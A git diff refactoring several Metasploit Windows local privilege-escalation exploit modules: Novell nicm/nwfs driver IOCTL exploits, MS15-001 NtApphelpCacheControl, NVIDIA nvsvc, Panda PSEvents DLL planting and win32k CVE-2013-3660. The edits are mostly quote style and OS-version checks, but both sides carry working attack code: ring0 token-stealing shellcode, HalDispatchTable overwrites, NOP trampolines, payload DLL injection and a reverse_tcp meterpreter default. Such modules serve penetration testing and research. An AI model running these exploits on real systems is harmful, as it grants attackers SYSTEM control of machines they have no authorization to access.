result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
if not result["BaseAddress"] or result["BaseAddress"].empty?
vprint_error("Failed to allocate memory")
if !(result['BaseAddress']) || result['BaseAddress'].empty?
vprint_error('Failed to allocate memory')
return nil
end
my_address = result["BaseAddress"].unpack("V")[0]
my_address = result['BaseAddress'].unpack('V')[0]
vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")
if not proc.memory.writable?(my_address)
vprint_error("Failed to allocate memory")
if !proc.memory.writable?(my_address)
vprint_error('Failed to allocate memory')
return nil
else
vprint_good("0x#{my_address.to_s(16)} is now writable")
@ -132,11 +132,11 @@ class MetasploitModule < Msf::Exploit::Local
end
def junk(n = 4)
return rand_text_alpha(n).unpack("V").first
return rand_text_alpha(n).unpack('V').first
end
def check
handle = open_device("\\\\.\\nicm")
handle = open_device('\\\\.\\nicm')
if handle.nil?
return Exploit::CheckCode::Safe
end
@ -146,15 +146,15 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit
if sysinfo["Architecture"] == ARCH_X64
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
if sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
my_target = nil
if target.name =~ /Automatic/
print_status("Detecting the target system...")
os = sysinfo["OS"]
if os =~ /windows 7/i
print_status('Detecting the target system...')
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && !version.windows_server?
my_target = targets[1]
print_status("Running against #{my_target.name}")
end
@ -163,26 +163,26 @@ class MetasploitModule < Msf::Exploit::Local
end
if my_target.nil?
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
end
print_status("Checking device...")
handle = open_device("\\\\.\\nicm")
print_status('Checking device...')
handle = open_device('\\\\.\\nicm')
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\nicm device not found")
fail_with(Failure::NoTarget, '\\\\.\\nicm device not found')
else
print_good("\\\\.\\nicm found!")
print_good('\\\\.\\nicm found!')
end
this_proc = session.sys.process.open
print_status("Storing the Kernel stager on memory...")
print_status('Storing the Kernel stager on memory...')
stager_address = 0x0d0d0000
stager_address = allocate_memory(this_proc, stager_address, 0x1000)
if stager_address.nil? or stager_address == 0
if stager_address.nil? || (stager_address == 0)
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to allocate memory")
fail_with(Failure::Unknown, 'Failed to allocate memory')
end
# eax => &kernel_stager
@ -203,7 +203,7 @@ class MetasploitModule < Msf::Exploit::Local
junk,
junk,
stager_address + 0x28 # stager_address + 0x24
].pack("V*")
].pack('V*')
kernel_stager << ring0_shellcode(my_target)
@ -211,34 +211,34 @@ class MetasploitModule < Msf::Exploit::Local
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to write contents to memory")
fail_with(Failure::Unknown, 'Failed to write contents to memory')
else
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
end
print_status("Triggering the vulnerability to execute the Kernel Handler")
print_status('Triggering the vulnerability to execute the Kernel Handler')
magic_ioctl = 0x143B6B # Vulnerable IOCTL
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
session.railgun.kernel32.CloseHandle(handle)
if ioctl["GetLastError"] != 0
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
if ioctl['GetLastError'] != 0
print_error('Something wrong while triggering the vulnerability, anyway checking privileges...')
end
print_status("Checking privileges after exploitation...")
print_status('Checking privileges after exploitation...')
if not is_system?
if !is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful")
else
print_good("Exploitation successful!")
print_good('Exploitation successful!')
end
p = payload.encoded
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
print_status("Injecting #{p.length} bytes to memory and executing it...")
if execute_shellcode(p)
print_good("Enjoy")
print_good('Enjoy')
else
fail_with(Failure::Unknown, "Error while executing the payload")
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end
end

View File

@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' => [
# Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4
@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Local
def open_device(dev)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
r = session.railgun.kernel32.CreateFileA(dev, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)
handle = r['return']
@ -90,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Local
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname == nil
if drvname.nil?
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
@ -104,8 +104,8 @@ class MetasploitModule < Msf::Exploit::Local
def ring0_shellcode(t)
restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
restore_ptrs << "\xb8" + [ @addresses['HaliQuerySystemInfo'] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [ @addresses['halDispatchTable'] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
@ -130,10 +130,10 @@ class MetasploitModule < Msf::Exploit::Local
end
def fill_memory(proc, address, length, content)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
if not proc.memory.writable?(address)
vprint_error("Failed to allocate memory")
if !proc.memory.writable?(address)
vprint_error('Failed to allocate memory')
return nil
else
vprint_good("#{address} is now writable")
@ -142,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Local
result = proc.memory.write(address, content)
if result.nil?
vprint_error("Failed to write contents to memory")
vprint_error('Failed to write contents to memory')
return nil
else
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
@ -154,62 +154,62 @@ class MetasploitModule < Msf::Exploit::Local
def disclose_addresses(t)
addresses = {}
vprint_status("Getting the Kernel module name...")
vprint_status('Getting the Kernel module name...')
kernel_info = find_sys_base(nil)
if kernel_info.nil?
vprint_error("Failed to disclose the Kernel module name")
vprint_error('Failed to disclose the Kernel module name')
return nil
end
vprint_good("Kernel module found: #{kernel_info[1]}")
vprint_status("Getting a Kernel handle...")
vprint_status('Getting a Kernel handle...')
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
kernel32_handle = kernel32_handle['return']
if kernel32_handle == 0
vprint_error("Failed to get a Kernel handle")
vprint_error('Failed to get a Kernel handle')
return nil
end
vprint_good("Kernel handle acquired")
vprint_good('Kernel handle acquired')
vprint_status("Disclosing the HalDispatchTable...")
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
vprint_status('Disclosing the HalDispatchTable...')
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, 'HalDispatchTable')
hal_dispatch_table = hal_dispatch_table['return']
if hal_dispatch_table == 0
vprint_error("Failed to disclose the HalDispatchTable")
vprint_error('Failed to disclose the HalDispatchTable')
return nil
end
hal_dispatch_table -= kernel32_handle
hal_dispatch_table += kernel_info[0]
addresses["halDispatchTable"] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
addresses['halDispatchTable'] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
vprint_status("Getting the hal.dll Base Address...")
hal_info = find_sys_base("hal.dll")
vprint_status('Getting the hal.dll Base Address...')
hal_info = find_sys_base('hal.dll')
if hal_info.nil?
vprint_error("Failed to disclose hal.dll Base Address")
vprint_error('Failed to disclose hal.dll Base Address')
return nil
end
hal_base = hal_info[0]
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
addresses["HaliQuerySystemInfo"] = hali_query_system_information
addresses['HaliQuerySystemInfo'] = hali_query_system_information
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
return addresses
end
def exploit
if sysinfo["Architecture"] == ARCH_X64
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
if sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
my_target = nil
if target.name =~ /Automatic/
print_status("Detecting the target system...")
os = sysinfo["OS"]
print_status("#{os.inspect}")
if os =~ /windows xp/i
print_status('Detecting the target system...')
version = get_version_info
print_status(version.product_name.to_s)
if version.build_number == Msf::WindowsVersion::XP_SP3
my_target = targets[1]
print_status("Running against #{my_target.name}")
end
@ -218,74 +218,74 @@ class MetasploitModule < Msf::Exploit::Local
end
if my_target.nil?
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
end
print_status("Checking device...")
handle = open_device("\\\\.\\nwfs")
print_status('Checking device...')
handle = open_device('\\\\.\\nwfs')
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\nwfs device not found")
fail_with(Failure::NoTarget, '\\\\.\\nwfs device not found')
else
print_good("\\\\.\\nwfs found!")
print_good('\\\\.\\nwfs found!')
end
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.")
fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation. Aborting.')
else
print_good("Addresses successfully disclosed.")
print_good('Addresses successfully disclosed.')
end
print_status("Storing the kernel stager on memory...")
print_status('Storing the kernel stager on memory...')
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode(my_target)
kernel_shell_address = 0x1000
result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
else
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
end
print_status("Storing the trampoline to the kernel stager on memory...")
print_status('Storing the trampoline to the kernel stager on memory...')
trampoline = "\x90" * 0x20 # nops
trampoline << "\x68" # push opcode
trampoline << [0x1000].pack("V") # address to push
trampoline << [0x1000].pack('V') # address to push
trampoline << "\xc3" # ret
trampoline_addr = 0x3
result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing trampoline on memory")
fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
else
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
end
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
magic_ioctl = 0x1438BB
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0)
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses['halDispatchTable'] + 0x4, 0x10, 0, 0)
session.railgun.kernel32.CloseHandle(handle)
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
print_status("Checking privileges after exploitation...")
print_status('Checking privileges after exploitation...')
if not is_system?
if !is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful")
else
print_good("Exploitation successful!")
print_good('Exploitation successful!')
end
p = payload.encoded
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
print_status("Injecting #{p.length} bytes to memory and executing it...")
if execute_shellcode(p)
print_good("Enjoy")
print_good('Enjoy')
else
fail_with(Failure::Unknown, "Error while executing the payload")
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end
end

View File

@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
@ -13,64 +12,64 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
'Description' => %q{
On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
allows application compatibility data to be cached for quick reuse when new processes are
created. A normal user can query the cache but cannot add new cached entries as the
operation is restricted to administrators. This is checked in the function
AhcVerifyAdminContext.
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
'Description' => %q{
On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
allows application compatibility data to be cached for quick reuse when new processes are
created. A normal user can query the cache but cannot add new cached entries as the
operation is restricted to administrators. This is checked in the function
AhcVerifyAdminContext.
This function has a vulnerability where it doesn't correctly check the impersonation token
of the caller to determine if the user is an administrator. It reads the caller's
impersonation token using PsReferenceImpersonationToken and then does a comparison between
the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
of the token so it's possible to get an identify token on your thread from a local system
process and bypass this check.
This function has a vulnerability where it doesn't correctly check the impersonation token
of the caller to determine if the user is an administrator. It reads the caller's
impersonation token using PsReferenceImpersonationToken and then does a comparison between
the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
of the token so it's possible to get an identify token on your thread from a local system
process and bypass this check.
This module currently only affects Windows 8 and Windows 8.1, and requires access to
C:\Windows\System\ComputerDefaults.exe (although this can be improved).
},
'License' => MSF_LICENSE,
This module currently only affects Windows 8 and Windows 8.1, and requires access to
C:\Windows\System\ComputerDefaults.exe (although this can be improved).
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [],
'SideEffects' => [],
'Reliability' => []
},
'Author' =>
[
'James Forshaw',
'sinn3r'
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
],
'DefaultTarget' => 0,
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'MSB', 'MS15-001' ],
[ 'CVE', '2015-0002' ],
'Author' => [
'James Forshaw',
'sinn3r'
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
],
'DefaultTarget' => 0,
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
[ 'MSB', 'MS15-001' ],
[ 'CVE', '2015-0002' ],
[ 'OSVDB', '116497' ],
[ 'EDB', '35661' ],
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
],
'DisclosureDate' => '2014-09-30'
}))
[ 'EDB', '35661' ],
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
],
'DisclosureDate' => '2014-09-30'
}
)
)
end
def temp
@ -82,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def upload_payload_dll(payload_filepath)
payload = generate_payload_dll({:dll_exitprocess => true})
payload = generate_payload_dll({ dll_exitprocess: true })
begin
write_file(payload_filepath, payload)
rescue Rex::Post::Meterpreter::RequestError => e
@ -96,12 +95,13 @@ class MetasploitModule < Msf::Exploit::Local
# Upload the payload
upload_payload_dll(payload_filepath)
if !file?(payload_filepath)
fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
fail_with(Failure::Unknown, 'Failed to save the payload DLL, or got removed. No idea why.')
end
end
def check
if sysinfo['OS'] =~ /Windows 8/
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81)
return Exploit::CheckCode::Detected
end
@ -110,21 +110,21 @@ class MetasploitModule < Msf::Exploit::Local
def exploit
if session.arch != ARCH_X86
print_error("Sorry, this module currently only allows x86/win32 sessions.")
print_error("You will have to get a x86/win32 session first, and then you can")
print_error('Sorry, this module currently only allows x86/win32 sessions.')
print_error('You will have to get a x86/win32 session first, and then you can')
print_error("select a x64 payload as this exploit's payload.")
return
end
print_status("Uploading the payload DLL")
print_status('Uploading the payload DLL')
upload_payload
print_status("Injecting the exploit DLL and instructing to run the payload DLL upon successful exploitation...")
print_status('Injecting the exploit DLL and instructing to run the payload DLL upon successful exploitation...')
lib_file_path = ::File.join(
Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll'
Msf::Config.data_directory, 'exploits', 'ntapphelpcachecontrol', 'exploit.dll'
)
execute_dll(lib_file_path, payload_filepath)
print_status("You should now have an elevated session, enjoy!")
print_status('You should now have an elevated session, enjoy!')
end
end

View File

@ -62,17 +62,16 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return CheckCode::Safe
end
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Windows Build Number = #{build_num}")
version = get_version_info
vprint_status("OS version: #{version}")
# see https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~ /7/ && (build_num >= 7600 && build_num <= 7601)
unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation?
print_error('The exploit only supports Windows 7 versions 7600 and 7601')
return CheckCode::Safe
end

View File

@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows x64', {} ]
@ -72,28 +72,25 @@ class MetasploitModule < Msf::Exploit::Local
'3341d2c91989bc87c3c0baa97c27253b'
]
os = sysinfo["OS"]
if os =~ /windows/i
if session.platform == 'windows'
svc = service_info 'nvsvc'
if svc and svc[:display] =~ /NVIDIA/i
if svc && svc[:display] =~ (/NVIDIA/i)
vprint_good("Found service '#{svc[:display]}'")
begin
if is_running?
vprint_good("Service is running")
vprint_good('Service is running')
else
vprint_error("Service is not running!")
vprint_error('Service is not running!')
end
rescue RuntimeError => e
vprint_error("Unable to retrieve service status")
rescue RuntimeError
vprint_error('Unable to retrieve service status')
return Exploit::CheckCode::Unknown
end
path = svc[:path].gsub('"', '').strip
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
path = svc[:path].gsub('"', '').strip
path.gsub!("system32", "sysnative")
else
path = svc[:path].gsub('"', '').strip
path.gsub!('system32', 'sysnative')
end
begin
@ -117,13 +114,11 @@ class MetasploitModule < Msf::Exploit::Local
end
def is_running?
begin
status = service_status('nvsvc')
return (status and status[:state] == 4)
rescue RuntimeError => e
print_error("Unable to retrieve service status")
return false
end
status = service_status('nvsvc')
return (status and status[:state] == 4)
rescue RuntimeError
print_error('Unable to retrieve service status')
return false
end
def exploit
@ -132,22 +127,22 @@ class MetasploitModule < Msf::Exploit::Local
end
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
print_status("Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...")
print_status('Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...')
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
library_path = ::File.join(Msf::Config.data_directory,
"exploits",
"CVE-2013-0109",
"nvidia_nvsvc.x86.dll")
'exploits',
'CVE-2013-0109',
'nvidia_nvsvc.x86.dll')
encoded_payload = payload.encoded
# Forceably run the a 32-bit process because our payload is 32-bit even though
# we're running on x64.
execute_dll(library_path, encoded_payload)
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

View File

@ -3,97 +3,102 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Exploit::FileDropper
include Post::File
include Msf::Post::Windows::Version
def initialize(info={})
super( update_info( info,
'Name' => 'Panda Security PSEvents Privilege Escalation',
'Description' => %q{
PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
When run, it checks a user writable folder for certain DLL files, and if any are found
they are automatically run.
Vulnerable Products:
Panda Global Protection 2016 (<=16.1.2)
Panda Antivirus Pro 2016 (<=16.1.2)
Panda Small Business Protection (<=16.1.2)
Panda Internet Security 2016 (<=16.1.2)
},
'License' => MSF_LICENSE,
'Author' => [
"h00die <mike@shorebreaksecurity.com>", # Module,
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Panda Security PSEvents Privilege Escalation',
'Description' => %q{
PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
When run, it checks a user writable folder for certain DLL files, and if any are found
they are automatically run.
Vulnerable Products:
Panda Global Protection 2016 (<=16.1.2)
Panda Antivirus Pro 2016 (<=16.1.2)
Panda Small Business Protection (<=16.1.2)
Panda Internet Security 2016 (<=16.1.2)
},
'License' => MSF_LICENSE,
'Author' => [
'h00die <mike@shorebreaksecurity.com>', # Module,
'Security-Assessment.com' # discovery
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'payload' => 'windows/meterpreter/reverse_tcp',
'exitfunc' => 'seh'
},
'References' => [
[
'EDB', '40020',
'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
]
],
'DisclosureDate'=> '2016-06-27'
))
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'payload' => 'windows/meterpreter/reverse_tcp',
'exitfunc' => 'seh'
},
'References' => [
[
'EDB', '40020',
'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
]
],
'DisclosureDate' => '2016-06-27'
)
)
register_options(
[
OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll',
['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]),
OptEnum.new('DLL', [
true, 'dll to create', 'cryptnet.dll',
['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']
]),
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),
])
]
)
end
def get_path()
case sysinfo['OS']
when /Windows (NT|XP)/
def get_path
version = get_version_info
if version.build_number < Msf::WindowsVersion::Vista_SP0
return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
else #/Windows (7|8|10|2012|2008)/ we assume a modern operating system
else # AllUsers directory changed as of Vista
return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
end
end
def check
if directory?(get_path())
if directory?(get_path)
print_good('Vuln path exists')
CheckCode::Appears
else
vprint_error("#{get_path()} doesn't exist on target")
vprint_error("#{get_path} doesn't exist on target")
CheckCode::Safe
end
end
def exploit
vprint_status("OS Detected as: #{sysinfo['OS']}")
version = get_version_info
vprint_status("OS Detected as: #{version.product_name}")
payload_filepath = get_path()
payload_filepath = get_path
payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}"
upload_payload_dll(payload_filepath)
# start the hour wait
stime = Time.now.to_f
print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'
print_status "Start Time: #{Time.now.to_s}"
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
Rex.sleep(1)
end
print_status "Start Time: #{Time.now}"
Rex.sleep(1) until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
end
def upload_payload_dll(payload_filepath)
payload = generate_payload_dll()
payload = generate_payload_dll
print_status('Uploading the Payload DLL to the filesystem...')
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")

View File

@ -70,9 +70,8 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
os = sysinfo["OS"]
if os =~ /windows/i
file_path = session.sys.config.getenv('windir') << "\\system32\\win32k.sys"
if session.platform == 'windows'
file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}")
@ -93,22 +92,22 @@ class MetasploitModule < Msf::Exploit::Local
when 6002
if branch == 18
return Exploit::CheckCode::Appears if revision < 18861
else
return Exploit::CheckCode::Appears if revision < 23132
elsif revision < 23132
return Exploit::CheckCode::Appears
end
when 7600
return Exploit::CheckCode::Appears
when 7601
if branch == 18
return Exploit::CheckCode::Appears if revision < 18176
else
return Exploit::CheckCode::Appears if revision < 22348
elsif revision < 22348
return Exploit::CheckCode::Appears
end
when 9200
if branch == 16
return Exploit::CheckCode::Appears if revision < 16627
else
return Exploit::CheckCode::Appears if revision < 20732
elsif revision < 20732
return Exploit::CheckCode::Appears
end
end
end
@ -122,11 +121,11 @@ class MetasploitModule < Msf::Exploit::Local
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo["Architecture"] == ARCH_X64
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
if sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
# invoke the exploit, passing in the address of the payload that
@ -134,7 +133,7 @@ class MetasploitModule < Msf::Exploit::Local
print_status('Reflectively injecting the DLL into a new process and triggering the LPE...')
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3660", "ppr_flatten_rec.x86.dll"),
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3660', 'ppr_flatten_rec.x86.dll'),
encoded_payload
)
print_status("Exploit thread executing (can take a while to run), waiting #{datastore['WfsDelay']} sec ...")

View File

@ -69,15 +69,14 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit
if not (sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|2019|2022|10)/ )
fail_with(Failure::NoTarget, "This module only works on Vista/2008 and above")
version = get_version_info
unless version.build_number >= Msf::WindowsVersion::Vista_SP0
fail_with(Failure::NoTarget, 'This module only works on Vista/2008 and above')
end
if datastore['TRIGGER'] == "event"
if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil?
print_status("The properties of any event in the event viewer will contain this information")
fail_with(Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event")
end
if datastore['TRIGGER'] == 'event' && (datastore['EVENT_LOG'].nil? || datastore['EVENT_ID'].nil?)
print_status('The properties of any event in the event viewer will contain this information')
fail_with(Failure::BadConfig, 'Advanced options EVENT_LOG and EVENT_ID required for event')
end
# Generate payload
@ -102,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local
write_xml(xml, xml_path, rexe_path)
# Name task with Opt or give random name
schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
